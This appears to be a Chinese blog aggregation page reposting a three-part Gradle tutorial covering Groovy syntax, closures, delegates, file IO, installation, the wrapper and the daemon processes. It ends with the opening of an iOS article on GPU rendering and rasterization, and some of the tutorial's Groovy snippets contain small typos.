    Groovy 语法 再次强调 Groovy 是基于 java 扩展的动态语言,直接写 java 代码是没问题的。上面的 hello world 就是这么跑起来。Groovy 没啥难的,大家把他当做一个新的语言来学下就行,Groovy 本身比较简单也不用我们学习...
    继续阅读 »

    Groovy 语法


    再次强调 Groovy 是基于 java 扩展的动态语言,直接写 java 代码是没问题的。上面的 hello world 就是这么跑起来。Groovy 没啥难的,大家把他当做一个新的语言来学下就行,Groovy 本身比较简单也不用我们学习的多深入,能基本使用就可以了,语法糖也没多少,最要的闭包明白就大成了。用的很少的专业一些的 API 大家 baidu 一下就出来了


    1. 不用写 ; 号


    一看这个就知道也是往高阶语言上靠 <( ̄3 ̄)> 表!,比较新的语言都这样,基本都是大同小异


    int name = 10
    int age = "AAA"
    复制代码

    2. 支持动态类型,但是必须用 def 前缀


    def name = 10
    def age = "AAA"

    name = "111"
    println(name)
    复制代码

    3. 没有基本数据类型了,全是包装类型


    Groovy 基于 java,所以 java 的基本数据类型都支持,但是 Groovy 中这些基本数据类型使用的都是包装类型:Integer、Boolean 等


    int index = 0
    println("index == "+index.class)
    复制代码


    4. 方法变化



    • 使用 def 修饰,方法可以不用指定返回类型、参数类型,直接返回最后一行。

    • 方法调用可以不写 (),最好还是加上()的好,要不真不好阅读

    • 实际上不管有没有返回值,Groovy 中返回的都是 Object 类型


    def to(x, y){
    x+y
    }

    def name = 10
    def age = 12

    name = to name,age

    println(name)
    复制代码

    5. 字符串变化


    Groovy 支持单、双、三引号来表示字符串${} 引用变量值,三引号是带输出格式的


    def world = 'world'
    def str1 = 'hello ${world}'
    def str2 = "hello ${world}"
    def str3 =
    '''hello
    &{world}'''
    复制代码

    6. 不用写 get/set


    Groovy ⾃动对成员属性创建 getter / setter,按照下面这个用法调用


    class Person{
    def name
    def age
    }

    Person person = new Person()
    person.name = "AA"
    person.setAge(123)
    person.@age = 128

    println(person.name + " / " + person.age)
    复制代码

    7. Class 类型,可以省略 .class


    8. 没有 ===


    Groovy 中 == 就是 equals,没有 === 了。而是用 .is() 代替,比较是不是同一个对象


    class Person {
    def name
    def age
    }

    Person person1 = new Person()
    Person person2 = new Person()
    person1.name = "AA"
    person2.name = "BB"

    println("person1.name == person2.name" + (person1.name == person2.name))
    println("person1 is person2" + person1.is(person2))
    复制代码

    9. 支持 xx次方运算符


    2 ** 3 == 8
    复制代码

    10. 三木运算符


    def result = name ?: ""
    复制代码

    11. 支持非空判断


    println order?.customer?.address
    复制代码

    12. Switch 变化


    def num = 5.21

    switch (num) {
    case [5.21, 4, "list"]:
    return "ok"
    break
    default:
    break
    }
    复制代码

    13. 集合类型


    Groovy 支持三种集合类型:



    • List --> 链表,对应 Java 中的 List 接口,一般用 ArrayList 作为真正的实现类

    • Map --> 哈希表,对应 Java 中的 LinkedHashMap

    • Range --> 范围,它其实是 List 的一种拓展


    // --> list 
    def data = [666,123,"AA"]
    data[0] = "BB"
    data[100] = 33
    println("size --> " + data.size()) // 101个元素

    ----------------------我是分割线------------------------

    // --> map
    def key = "888"
    def data = ["key1": "value", "key2": 111, (key): 888] // 使用 () key 使用动态值

    data.key1
    data.["key1"]
    data.key2 = "new"

    def name2 = "name"
    def age2 = 578
    data.put(name2, age2)

    println("size --> " + data.size()) // 4
    println("map --> " + data) // [key1:value, key2:new, 888:888, name:578]
    println("key--> " + data.get(key)) // key--> 888

    ----------------------我是分割线------------------------

    // --> range
    def data = 1..10
    data.getFrom()
    data.to()

    println("size --> " + data.size())
    println("range --> " + data) // range --> 1..10
    复制代码

    14. 闭包



    这个是绝对重点,大家到这里认真学呀 (○` 3′○) 学会这个后面就容易理解了,后面都是闭包的应用



    闭包(Closure) 是 Groovy 最重要的语法糖了,我们把闭包当做高阶语法中的对象式函数就行了


    官方定义:Groovy中的闭包是一个开放,匿名的代码块,可以接受参数,返回值并分配给变量


    // 标准写法,method1 就是一个闭包 (>▽<)
    def method1 = { name,age ->
    name + age
    }

    // 调用方式
    method1.call(123,888)
    method1(123,888)

    // 默认有一个 it 表示单个参数
    def method3 = { "Hello World!$it" }

    // 强制不带参数
    def method2 = { ->
    name + age
    }

    // 作为方法参数使用
    def to(x, y,Closure closure) {
    x + y + closure(111)
    }
    复制代码

    后面大家会经常见到闭包的应用,比如这个自定义 task 任务


    task speak{
    doLast {
    println("AAA")
    }
    }
    复制代码

    举这个例子是为了说明,实际闭包都是嵌套很多层使用



    • speak 是个方法,接收一个闭包作为参数,整个外层 {...} 都是一个闭包

    • 外层闭包内 doLast 方法又接收一个闭包作为参数,内层 {...} 又是一个闭包




    通过这个例子大家搞清楚这个嵌套关系就好学了,实际就是一层套一层,有的插件写的我都看吐了


    Closure 这东西方便是方便,但是 Closure 里面传什么类型的参数,有几个参数
    这些可没有自动提示,想知道详细就得查文档了,这点简直不能忍,我想说官方就不能做过自动提示出来嘛~
    复制代码

    15. delegate 闭包委托


    这是 Gradle 闭包常见方式:


    class Person {
    String name
    int age
    }

    def cc = {
    name = "hanmeimei"
    age = 26
    }

    Person person = new Person()
    cc.call()
    复制代码

    cc 是闭包,cc.call() 调用闭包,cc.call(persen) 这是给闭包传入参数,我们换个写法:



    • cc.delegate = person 就相当于 cc.call(persen)


    这个写法就是:委托 了,没什么难理解的,我这里就是按照最简单的解释来


    至于为什么要有委托这种东西,必然是有需求的。我们写的都是 .gradle 脚本,这些脚本实际要编译成 .class 才能运行。也就是说代码实际上动态根据我们配置生成的,传参数也是动态的,委托这一特性就是为了动态生成代码、传参准备的


    后面很多 Gradle 中的插件,其 {...} 里面写配置其实走的都是委托这个思路


    举个常见的例子,Android {...} 代码块大家熟悉不熟悉,这个就是闭包嵌套,闭包里还有闭包 -->


    android {
    compileSdkVersion 25
    buildToolsVersion "25.0.2"

    defaultConfig {
    minSdkVersion 15
    targetSdkVersion 25
    versionCode 1
    versionName "1.0"
    }
    }
    复制代码

    16. 插件中使用 delegate + 闭包思路


    其实思路很简单,每一个 {...} 闭包都要有一个对应的数据 Bean 存储数据,在合适的时机 .delegate 即可



    1. 闭包定义


    def android = {
    compileSdkVersion 25
    buildToolsVersion "25.0.2"

    // 这个对应相应的方法
    defaultConfig {
    minSdkVersion 15
    targetSdkVersion 25
    versionCode 1
    versionName "1.0"
    }
    }
    复制代码


    1. 准备数据 Bean


    class Android {
    int mCompileSdkVersion
    String mBuildToolsVersion
    BefaultConfig mBefaultConfig

    Android() {
    this.mBefaultConfig = new BefaultConfig()
    }

    void defaultConfig(Closure closure) {
    closure.setDelegate(mProductFlavor)
    closure.setResolveStrategy(Closure.DELEGATE_FIRST)
    closure.call()
    }
    }

    class BefaultConfig {
    int mVersionCode
    String mVersionName
    int mMinSdkVersion
    int mTargetSdkVersion
    }
    复制代码


    1. .delegate 绑定数据


    Android bean = new Android()
    android.delegate = bean
    android.call()
    复制代码

    17. 一样需要 import 导入包、文件



    Groovy 常用 API


    1. xml 解析


    <response version-api="2.0">
    <value>
    <books>
    <book available="20" id="1">
    <title>Don Xijote</title>
    <author id="1">Manuel De Cervantes</author>
    </book>
    <book available="14" id="2">
    <title>Catcher in the Rye</title>
    <author id="2">JD Salinger</author>
    </book>
    <book available="13" id="3">
    <title>Alice in Wonderland</title>
    <author id="3">Lewis Carroll</author>
    </book>
    <book available="5" id="4">
    <title>Don Xijote</title>
    <author id="4">Manuel De Cervantes</author>
    </book>
    </books>
    </value>
    </response>
    复制代码

    1)xml 解析


    def xparser = new XmlSlurper()
    def targetFile = new File("test.xml")
    GPathResult gpathResult = xparser.parse(targetFile)

    def book4 = gpathResult.value.books.book[3]
    def author = book4.author
    author.text()
    author.@id
    author['@id']
    author.@id.toInteger()
    复制代码

    遍历 XML 数据


    def titles = response.depthFirst().findAll { book ->
    return book.author.text() == '李刚' ? true : false
    }

    def name = response.value.books.children().findAll { node ->
    node.name() == 'book' && node.@id == '2'
    }.collect { node ->
    return node.title.text()
    }

    复制代码

    2)获取 AndroidManifest 配置文件参数


    Gradle 解析 xml 的意义也就是 AndroidManifest 配置文件了,不难


    def androidManifest = new XmlSlurper().parse("./app/src/main/AndroidManifest.xml")
    def app = androidManifest.application
    println("value -->" + app.@"android:supportsRtl")
    复制代码

    3)生成 xml


    /**
    * 生成 xml 格式数据
    * <langs type='current' count='3' mainstream='true'>
    <language flavor='static' version='1.5'>Java</language>
    <language flavor='dynamic' version='1.6.0'>Groovy</language>
    <language flavor='dynamic' version='1.9'>JavaScript</language>
    </langs>
    */
    def sw = new StringWriter()
    // 用来生成 xml 数据的核心类
    def xmlBuilder = new MarkupBuilder(sw)
    // 根结点 langs 创建成功
    xmlBuilder.langs(type: 'current', count: '3',
    mainstream: 'true') {
    //第一个 language 结点
    language(flavor: 'static', version: '1.5') {
    age('16')
    }
    language(flavor: 'dynamic', version: '1.6') {
    age('10')
    }
    language(flavor: 'dynamic', version: '1.9', 'JavaScript')
    }

    // println sw

    def langs = new Langs()
    xmlBuilder.langs(type: langs.type, count: langs.count,
    mainstream: langs.mainstream) {
    //遍历所有的子结点
    langs.languages.each { lang ->
    language(flavor: lang.flavor,
    version: lang.version, lang.value)
    }
    }

    println sw

    // 对应 xml 中的 langs 结点
    class Langs {
    String type = 'current'
    int count = 3
    boolean mainstream = true
    def languages = [
    new Language(flavor: 'static',
    version: '1.5', value: 'Java'),
    new Language(flavor: 'dynamic',
    version: '1.3', value: 'Groovy'),
    new Language(flavor: 'dynamic',
    version: '1.6', value: 'JavaScript')
    ]
    }
    //对应xml中的languang结点
    class Language {
    String flavor
    String version
    String value
    }
    复制代码

    2. 解析 json


    def reponse = getNetworkData('http://yuexibo.top/yxbApp/course_detail.json')

    def getNetworkData(String url) {
    //发送http请求
    def connection = new URL(url).openConnection()
    connection.setRequestMethod('GET')
    connection.connect()
    def response = connection.content.text
    //将 json 转化为实体对象
    def jsonSluper = new JsonSlurper()
    return jsonSluper.parseText(response)
    }
    复制代码

    3. IO


    Gradle 中操作文件是比不可少的工作了,Grovvy IO API 大家一定要清楚


    1) 获取文件地址


    o(^@^)o 大家写插件、task 时获取项目地址这个点总是要会的,下面的代码不光可以使用 rootProject,每个脚本中的 Project 对象也可以使用的,path 和 absolutePath 都行


    println(rootProject.projectDir.path/absolutePath)
    println(rootProject.rootDir.path)
    println(rootProject.buildDir.path)

    /Users/zbzbgo/worksaplce/flutter_app4/MyApplication22
    /Users/zbzbgo/worksaplce/flutter_app4/MyApplication22
    /Users/zbzbgo/worksaplce/flutter_app4/MyApplication22/build
    复制代码

    2) 文件定位


    思路就是把指定 path 加入当年项目的根路径中,再构建 File 对象使用


    //文件定位
    this.getContent("config.gradle", "build.gradle")

    // 不同与 new file 的需要传入 绝对路径 的方式
    // file 从相对于当前的 project 工程开始查找
    def mFiles = files(path1, path2)
    println mFiles[0].text + mFiles[1].text
    复制代码

    或者这样写也是可以的,会在相应的子项目目录下生成文件,这种不用写 this.getContent(XXX)


     def file = project.file(fileName)
    复制代码

    3)eachLine 一次读一行


    File fromFile = new File(rootProject.projectDir.path + "/build.gradle")

    fromFile.eachLine { String line ->
    println("line -->" + line)
    }
    复制代码

    line 的 API 还有好几个



    4)获取输入流、输出流


    File fromFile = new File(rootProject.projectDir.path + "/build.gradle")

    fromFile.withInputStream { InputStream ins ->
    ...... 这里系统会自动关闭流,不用我们自己关
    }

    def ins = fromFile.newInputStream()
    ins.close()
    复制代码

    5)<< 复制 文件


    Grovvy 的语法糖写起来的简便


    File fromFile = new File(rootProject.projectDir.path + "/build.gradle")
    File toFile = new File(rootProject.projectDir.path + "/build2.gradle")

    fromFile.withInputStream { InputStream ins ->
    toFile.withOutputStream { OutputStream out ->
    out << ins
    }
    }
    复制代码

    6)<< copy API 复制文件


    copy {
    from file(rootProject.rootDir.path+"/build.gradle") // 源文件
    into rootProject.rootDir.path // 复制目标地址,这里不用带文件名

    exclude()
    rename { "build.gradle2" } // 复制后重命名,不写的话默认还是目标文件名
    }
    复制代码

    7)reader/writer


    File fromFile = new File(rootProject.projectDir.path + "/build.gradle")
    File toFile = new File(rootProject.projectDir.path + "/build2.gradle")

    fromFile.withReader { reader ->
    def lines = reader.lines()
    toFile.withWriter { writer ->
    lines.each { line ->
    writer.writeLine(line)
    }
    }
    }
    复制代码

    8)Object


    File fromFile = new File(rootProject.projectDir.path + "/build.gradle")
    File toFile = new File(rootProject.projectDir.path + "/build2.gradle")

    fromFile.withObjectInputStream { input ->
    toFile.withObjectOutputStream { out ->
    out.writeObject( input.readObject() )
    }
    }
    复制代码

    9)获取文件字节数组


    def file = new File(baseDir, 'test.txt')
    byte[] contents = file.bytes
    复制代码

    10)遍历文件树


    def dir = new File("/")
    //eachFile()方法返回该目录下的所有文件和子目录,不递归
    dir.eachFile { file ->
    println file.name
    }
    dir.eachFileMatch(~/.*\.txt/) {file ->
    println file.name
    }

    -------------------分割线-------------------

    def dir = new File("/")
    //dir.eachFileRecurse()方法会递归显示该目录下所有的文件和目录
    dir.eachFileRecurse { file ->
    println file.name
    }
    dir.eachFileRecurse(FileType.FILES) { file ->
    println file.name
    }

    -------------------分割线-------------------

    dir.traverse { file ->
    //如果当前文件是一个目录且名字是bin,则停止遍历
    if (file.directory && file.name=='bin') {
    FileVisitResult.TERMINATE
    //否则打印文件名字并继续
    } else {
    println file.name
    FileVisitResult.CONTINUE
    }
    }
    复制代码

    11)序列化


    boolean b = true
    String message = 'Hello from Groovy'
    def file = new File(baseDir, 'test.txt')
    // 序列化数据到文件
    file.withDataOutputStream { out ->
    out.writeBoolean(b)
    out.writeUTF(message)
    }
    // ...
    // 从文件读取数据并反序列化
    file.withDataInputStream { input ->
    assert input.readBoolean() == b
    assert input.readUTF() == message
    }
    复制代码

    12)程序中执行shell命令


    def process = "ls -l".execute()
    println(process)

    作者:前行的乌龟
    链接:https://juejin.cn/post/6888977881679495175
    来源:掘金
    著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

    Gradle 爬坑指南 -- 概念初解、Grovvy 语法、常见 API(2)

    Gradle 安装 上文书 Gradle 运行在 JVM 之上, 因此需要 JDK1.8 或以上 java 环境 1. 下载 Gradle 版本 从 Gradle 官方上下载,地址:Gradle 官网下载地址,选择 .all 的包下载,我下的是 6.6.1,尽...
    继续阅读 »

    Gradle 安装


    上文书 Gradle 运行在 JVM 之上, 因此需要 JDK1.8 或以上 java 环境


    1. 下载 Gradle 版本


    从 Gradle 官方上下载,地址:Gradle 官网下载地址,选择 .all 的包下载,我下的是 6.6.1,尽量选择较新的版本



    2. 配置项目根目录 build.gradle 脚本文件 Gradle 工具版本号


    buildscript {

    repositories {
    google()
    jcenter()
    }
    dependencies {
    ...
    classpath 'com.android.tools.build:gradle:4.0.1'
    ...
    }
    }
    复制代码

    这里 Gradle 工具的版本号要跟着 AS 的版本号走,AS 是哪个版本,这里就写哪个版本。Gradle 工具中的 API 是给 AS 用的,自然要跟着 AS 的版本变迁


    当然这也会对 Gradle 构建工具版本有要求:



    • 第一,大家进来使用比较新的版本号

    • 第二,若是 Gradle 版本太低,编译时会有提示的,告诉你最低 Gradle 构建工具版本是多少


    3. 使用本地 Gradle 文件编译项目


    Gradle 拥有良好的兼容性,为了在没有 Gradle 环境的机器上也能顺利使用 Gradle 构建项目,AS 新创建的项目默认会在根目录下添加 wrapper 配置




    其中 gradle-wrapper.properties 文件中提供了该项目使用的 Gradle 构建工具远程下载地址,这里会对应一个具体的版本号,IDE 开发工具默认会根据这个路径去下载 Gradle 给该项目使用


    distributionUrl=https\://services.gradle.org/distributions/gradle-6.1.1-all.zip
    复制代码

    这样就会产生一个问题:



    • 每个项目单独管理自己的 gradle,很可能会造成机器上同时存在多个版本的 Gradle,进而存在多个版本的 Daemon 进程,这会造成机器资源吃紧,即便关闭 AS 开发工具也没用,只能重启机器才会好转



    所以这里我推荐,尤其是给使用 AS 的朋友推荐:在本地创建 Gradle 环境,统一管理 Gradle 构建工具,避免出现多版本同时运行的问题。AS 本身就很吃内存了,每一个 Daemon 构建进程起码都是 512M 内存起步的,多来几个 Daemon 进程,我这 8G 的 MAC 真的搂不住




    1. 打开 AS 中 Gradle 配置:





    • gradle-wrapper.properties -- 使用 wrapper 也就是 AS 来管理 Gradle

    • Specifiled location -- 使用本地文件,也就是我们自己管理 Gradle



    1. 在本地解压 Gradle 压缩包,记住路径,下面配 path 需要这样配置后,AS 会忽略 gradle-wrapper.properties 文件

    4. 配置 path


    这里只说 MAC 环境



    1. open -e .bash_profile 打开配置文件

    2. 添加 GRADLE_HOMEPATH


    export GRADLE_HOME=/Users/zbzbgo/gradle/gradle-6.6.1
    export PATH=${PATH}:/Users/zbzbgo/gradle/gradle-6.6.1/bin

    ----------------官方写法如下--------------------------------

    export GRADLE_HOME=/Users/zbzbgo/gradle/gradle-6.6.1
    export PATH=$PATH:$GRADLE_HOME/bin
    复制代码


    1. source .bash_profile 重置配置文件,以便新 path 生效

    2. open -e ~/.zshrc 打开另一个配置

    3. 在最后一行添加 source ~/.bash_profile

    4. source ~/.zshrc 重置配置文件


    配置 zshrc 是因为有的机器 bash_profile 配置不管用,添加这个就行了


    5. 测试 Gradle 安装是否成功


    运行 gradle --version,出现版本号则 Gradle 配置成功


    6. 执行一次 Gradle 命令


    学习新语言我们都喜欢来一次 hello world,这里我们也来一次


    随便创建一个文件夹,在其中创建一个文件,以.gradle结尾,使用 text 编辑器打开,输入:


    println("hello world!")
    复制代码

    然后 gradle xxx.gradle 执行该文件



    OK,成功,大家体验一下,groovy 是种语言,gradle 是种构建工具,可以编译 .gradle 文件

    Gradle init 初始化命令


    我们平时都是用 AS 开发的,AS 创建 Android 项目时默认就会把 Gradle 相关文件都创建出来。其实 Gradle 和 git 一样,也提供了 init 初始化方法,创建相关文件


    运行 init 命令要选择一些参数,其过程如下:



    1. 创建一个文件夹,cd 到该目录,执行 gradle init 命令

    2. 命令行提示选择项目模板

    3. 命令行提示选择开发语言

    4. 命令行提示选择脚本语言

    5. 输入工程名

    6. 输入资源名




    了解 Gradle Wrapper 文件

    上面虽然说了用 AS 开发我们最好使用本地 Gradle 文件的方式统一配置、管理 Gradle 构建工具,但是 AS Android 项目中的 Wrapper 文件夹的内容还是有必要了解一下的,这可以加深我们对 Gradle 下载、管理的了解



    Gradle Wrapper 文件的作用就是可以让你的电脑在不安装配置 Gradle 环境的前提下运行 Gradle 项目,你的机器要是没有配 Gradle 环境,那么你 clone gradle 项目下来,执行 init 命令,会根据 gradle-wrapper.properties 文件中声明的 gradle URL 远程路径去下载 gradle 构建工具,cd 进该项目



    • gradle -v --> linux 平台命令

    • gradlew -v --> window 平台命令


    然后就可以在项目目录下运行 gradle 命令了,不过还是推荐大家在机器配置统一的 Gradle 环境



    • gradlew --> linux 平台脚本

    • gradlew.bat --> window 平台脚本

    • gradle-wrapper.jar --> Gradle 下载、管理相关代码

    • gradle-wrapper.properties --> Gradle 下载、管理配置参数


    gradle-wrapper.properties 文件中参数详解:



    • distributionUrl --> Gradle 压缩包下载地址

    • zipStoreBase --> 本机存放 Gradle 压缩包主地址

    • zipStorePath --> 本机存放 Gradle 压缩包主路径

      • Gradle 压缩包完整的路径是 zipStoreBase + zipStorePath



    • distributionBase --> 本机 Gradle 压缩包解压后主地址

    • distributionPath --> 本机 Gradle 压缩包解压后路径

      • Gradle 解压完整的路径是 distributionBase + distributionPath

      • distributionBase 的路径是环境 path 中 GRADLE_USER_HOME 的地址

      • Windows:C:/用户/你电脑登录的用户名/.gradle/

      • MAC:~/.gradle/

      • 你 MAC 要是配了 Gradle 环境变量,distributionBase 就是你自己解压缩的 gradle 路径




    这几个地址还是要搞清楚的~

    作者:前行的乌龟
    链接:https://juejin.cn/post/6888977881679495175
    来源:掘金
    著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

    Gradle 爬坑指南 -- 概念初解、Grovvy 语法、常见 API(1)

    理解 Gradle、Groovy 对于拦路虎、大 Boss,理论先于实际。手握理论的浮尘,方能遇坑过坑、遇水搭桥 (๑•̀ㅂ•́)و✧ 1. 什么是构建工具 简单的说就是自动化的编译、打包程序 我们来回忆一下,入门 java 那会,大家都写过 Hello Wr...
    继续阅读 »

    理解 Gradle、Groovy


    对于拦路虎、大 Boss,理论先于实际。手握理论的浮尘,方能遇坑过坑、遇水搭桥 (๑•̀ㅂ•́)و✧


    1. 什么是构建工具


    简单的说就是自动化的编译、打包程序


    我们来回忆一下,入门 java 那会,大家都写过 Hello Wrold!吧。然后老师让我们干啥,javac 编译, java 运行。在这里编译需要我们手动执行一次 javac,大家想过没有,要是有100个文件呢?那我们就得手动 100次 javac 编译指令


    到这里大家都会想到自动化吧,是的,自动化编译工具就是最早的构建工具了。然后我们拓展其功能,比如说:



    • 100个文件,编译后我要分10个文件夹保存

    • 哎呀,文件夹不好使了,别人要我提供 .jar 文件

    • 我去,产品加功能了,要加入 C++ 文件进来,C、java 文件要一起编译

    • 产品要有展示图片,还要有声音,多媒体资源也要加进来

    • 业务拓展了好几个渠道,每一个渠道都要提供一个定制化的 .jar 出来

    • 业务拓展了,要全平台了,win、android、ios 都要支持


    上面都是我臆想的,不过我觉得发展的历程大同小异。随着需求叠加、平台扩展,对代码最终产品也是有越来越多的要求。jar/aar/exe 这些打包时有太多的不一样,我们是人不是机器,不可能记得住的这些差异不同。那就必须依靠自动化技术、工具,要能支持平台、需求等方面的差异、能添加自定义任务的、专门的用来打包生成最终产品的一个程序、工具,这个就是构建工具。构建工具本质上还是一段代码程序


    我这样说是想具体一点,让大家有些代入感好理解构建工具是什么。就像下图,麦子就是我们的代码、资源等,草垛就是最终打包出来的成品,机器就是构建工具。怎么打草垛我们不用管,只要我们会用机器就行了

    打包也没什么神奇的,就是根据不同平台的要求,怎么把烂七八糟的都装一块,和妹子们出门前收拾衣服打包装箱一样。打包的目的是减少文件体积,方便安装,任何打包出来的安装包,本质都是一个压缩包

    2. Gradle 也是一种构建工具



    Android 项目这么多东西,既有我们自己写的 java、kotlin、C++、Dart 代码,也有系统自己的 java、C++ 代码,还有引入的第三方代码,还有图片、音乐、视频文件,这么多代码、资源打包成 APK 文件肯定要有一个规范,干这个活的就是我们熟悉的 gradle 了


    APK 文件我们解压可以看到好多文件和文件夹,具体不展开了


    不用把 Gradle 想的太难了,Gradle 就是帮我们打包生成 apk 的一个程序。难点的在于很灵活,我们可以在其中配置、声明参数、执行自己写的脚本、甚至导入自己的写的插件,来完成我们自定义的额外的任务。但是不要本末倒置,Gradle 就是帮我们打包 APK 的一个工具罢了


    下面3段话大家理解下,我觉得说的都挺到位的,看过后面还可以翻回来看这3句话,算是对 Gradle 的总结性文字了,很好~



    Gradle 是通用构建、打包程序,可以支持 java、web、android 等项目,具体到你的平台怎么打包,还得看你引入的什么插件,插件会具体按照我们平台的要求去编译、打包。比如我引入的:apply plugin: 'com.android.application',我导入的是 android 编译打包插件,那么最终会生成 APK 文件,就是这样。我引入的:apply plugin: 'com.android.library' android lib 库文件插件,那么最终会生成 aar 文件




    Gradle中,每一个待编译的工程都叫一个Project。每一个Project在构建的时候都包含一系列的Task。比如一个Android APK的编译可能包含:Java源码编译Task、资源编译Task、JNI编译Task、lint检查Task、打包生成APK的Task、签名Task等。一个Project到底包含多少个Task,其实是由编译脚本指定的插件决定。插件是什么呢?插件就是用来定义Task,并具体执行这些Task的东西




    Gradle是一个框架,作为框架,它负责定义流程和规则。而具体的编译工作则是通过插件的方式来完成的。比如编译Java有Java插件,编译Groovy有Groovy插件,编译Android APP有Android APP插件,编译Android Library有Android Library插件。Gradle中每一个待编译的工程都是一个Project,一个具体的编译过程是由一个一个的Task来定义和执行的。一个Project到底包含多少个Task,其实是由编译脚本指定的插件决定。插件是什么呢?插件就是用来定义Task,并具体执行这些Task的东西

    3. Gradle 是个程序、Groovy 是特定领域 DSL 语言



    • Gradle 是运行在 JVM 实例上的一个程序,内部使用 Groovy 语言

    • Groovy 是一种 JVM 上的脚本语言,基于 java 扩展的动态语言


    Gradle 简单来说就是在运行在 JVM 上的一个程序罢了,虽然其使用的是 Groovy 这种脚本语言,但是 Gradle 会把 .gradle Groovy 脚本编译成 .class java字节码文件在 JVM 上运行,最终还是 java 这套东西


    Android 项目里 settings.gradle、诸多build.gradle 脚本都会编译成对应的 java 类:SettingProject 再去运行,引入的插件也是会编译成对应的 java 对象再执行构建任务


    Gradle 内部是一个个编译、打包、处理资源的函数或者插件(函数库),可以说 Gradle 其实就是 API 集合,和我们日常使用的 Okhttp 框架没什么区别,里面都是一个个 API,区别是干的活不同罢了


    打开 Gradle 文件目录看看,核心的 bin 文件就一个 gradle 脚本,这个脚本就是 Gradle 核心执行逻辑了,他会启动一个 JVM 实例去加载 lib 中的各种函数去构建项目,这么看 gradle 其实很简单、不难理解




    红框里的是 Gradle 自带的内置插件,apply plugin: 'com.android.library'apply plugin: 'com.android.application' 这些都是 gradle 自带的内置插件



    19 年 Gradle 提供了中国区 CDN,AS 下载 Gradle 不再慢的和蜗牛一样了




    Gradle JVM 进程


    Gradle 构建工具在不同场景下会分别使用3个 JVM 进程:



    • client

    • Daemon

    • wrapper


    来自Gradle开发团队的Gradle入门教程 --> 官方宣传中这里解释的很清楚,比官方文档都清楚的多


    1. client 进程


    client 进程是个轻量级进程,每次构建开始都会创建这个进程,构建结束会销毁这个进程。client 进程的任务是查找并和 Daemon 进程通信:



    • Daemon 进程没启动,client 进程会启动一个新的 Daemon 进程

    • Daemon 进程已经存在了,client 进程就给 Daemon 进程传递本次构建相关的参数和任务,然后接收 Daemon 进程发送过来的日志


    gradle.properties 里面设置的参数,全局 init.gradle 初始化脚本的任务这些都需要 client 进程传递给 Daemon 进程


    2. Daemon 进程


    Daemon 进程负责具体的构建任务。我们使用 AS 打包 APK 这依靠的不是 AS 这个 IDEA 开发工具,而是 Gradle 构建工具自己启动的、专门的一个负责构建任务的进程:Daemon。每一个版本的 Gradle 都会对应创建一个 Daemon 进程


    Daemon 进程不依赖 AS 而是独立存在,是一个守护进程,构建结束 Daemon 进程也不会销毁,而是会休眠,等待下一次构建,这样做是为了节省系统资源,加快构建速度,Daemon 进程会缓存插件、依赖等资源


    必须注意: 每一个 Gradle 版本都会对应一个 Daemon 进程,机器内若是运行过多个版本的 Gradle,那么机器内就会存在多个 Daemon 进程,AS 开发 android 项目,我推荐使用 Gradle 本地文件,不依靠每个 android 项目中 wrapper 管理 gradle 版本,具体后面会说明


    从性能上讲:



    • Gradle 在 JVM 上运行,会使用一些支持库,这些库都需要初始化时间,一个长期存在的后台进程有利于节省编译时间

    • daemon 进程会跨构建缓存一些插件、库等缓存数据,这样对加快构建速度的确非常有意义


    gradle --status 命令可以查看已启动的 daemon 进程情况:


    ➜  ~ jps
    39554 KotlinCompileDaemon
    39509 GradleDaemon
    39608
    39675 Jps
    ➜ ~ gradle --status
    PID STATUS INFO
    39509 IDLE 6.6.1

    // INFO 是 gradle 版本号
    // Kotlin 语言编写的 Gradle 脚本需要一个新的 daemon 进程出来
    复制代码

    若是机器内已经启动了多个 Daemon 进程也不要紧,自己手动杀进程就是了


    Daemon 进程在以下情况时会失效,需要启动新的 Daemon 进程,判断 Daemon 进程是否符合要求是上面说的 client 进程的任务:



    • 修改 JVM 配置这回造成启动新的构建进程

    • Gradle 将杀死任何闲置了3小时或更长时间的守护程序

    • 一些环境变量的变化,如语言、keystore、keyStorePassword、keyStoreType 这些变化都会造成旧有的守护进程失效


    即便时同一个版本的 Gradle,也会因为 VM 配置不同而存在多个相同 Gradle 版本的 Daemon 进程。比如同时启动好几个项目,项目之间使用的 Gradle 版本相同,但是 VM 使用的不同配置


    wrapper 进程



    wrapper 进程啥也不干,不参与项目构建,唯一任务就是负责下载管理 Gradle 版本。我们导入 Gradle 项目进来,client 进程发现所需版本的 Gradle 本机没有,那么就会启动 wrapper 进程,根据 gradle.properties 里面的参数去自行 gradle-wrapper.jar 里面的下载程序去下载 Gradle 文件


    其他开发工具,我们直接使用 wrapper 来管理 Gradle 的话也是会启动 wrapper 进程的,完事 wrapper 进程会关闭



    作者:前行的乌龟
    链接:https://juejin.cn/post/6888977881679495175
    来源:掘金
    著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
    收起阅读 »

    iOS--图形图像渲染原理

    引言作为程序员,我们或多或少知道可视化应用程序都是由 CPU 和 GPU 协作执行的。那么我们就先来了解一下两者的基本概念:1.CPU(Central Processing Unit):现代计算机的三大核心部分之一,作为整个系统的运算和控制单元。CPU 内部的...
    继续阅读 »

    引言

    作为程序员,我们或多或少知道可视化应用程序都是由 CPU 和 GPU 协作执行的。那么我们就先来了解一下两者的基本概念:

    1.CPU(Central Processing Unit):现代计算机的三大核心部分之一,作为整个系统的运算和控制单元。CPU 内部的流水线结构使其拥有一定程度的并行计算能力。

    2.GPU(Graphics Processing Unit):一种可进行绘图运算工作的专用微处理器。GPU 能够生成 2D/3D 的图形图像和视频,从而能够支持基于窗口的操作系统、图形用户界面、视频游戏、可视化图像应用和视频播放。GPU 具有非常强的并行计算能力。

    这时候可能会产生一个问题:CPU 难道不能代替 GPU 来进行图形渲染吗?答案当然是肯定的,不过在看了下面这个视频就明白为什么要用 GPU 来进行图形渲染了。

    GPU CPU 模拟绘图视频

    使用 GPU 渲染图形的根本原因就是:速度。GPU 的并行计算能力使其能够快速将图形结果计算出来并在屏幕的所有像素中进行显示。

    那么像素是如何绘制在屏幕上的?计算机将存储在内存中的形状转换成实际绘制在屏幕上的对应的过程称为 渲染。渲染过程中最常用的技术就是 光栅化

    关于光栅化的概念,以下图为例,假如有一道绿光与存储在内存中的一堆三角形中的某一个在三维空间坐标中存在相交的关系。那么这些处于相交位置的像素都会被绘制到屏幕上。当然这些三角形在三维空间中的前后关系也会以遮挡或部分遮挡的形式在屏幕上呈现出来。一句话总结:

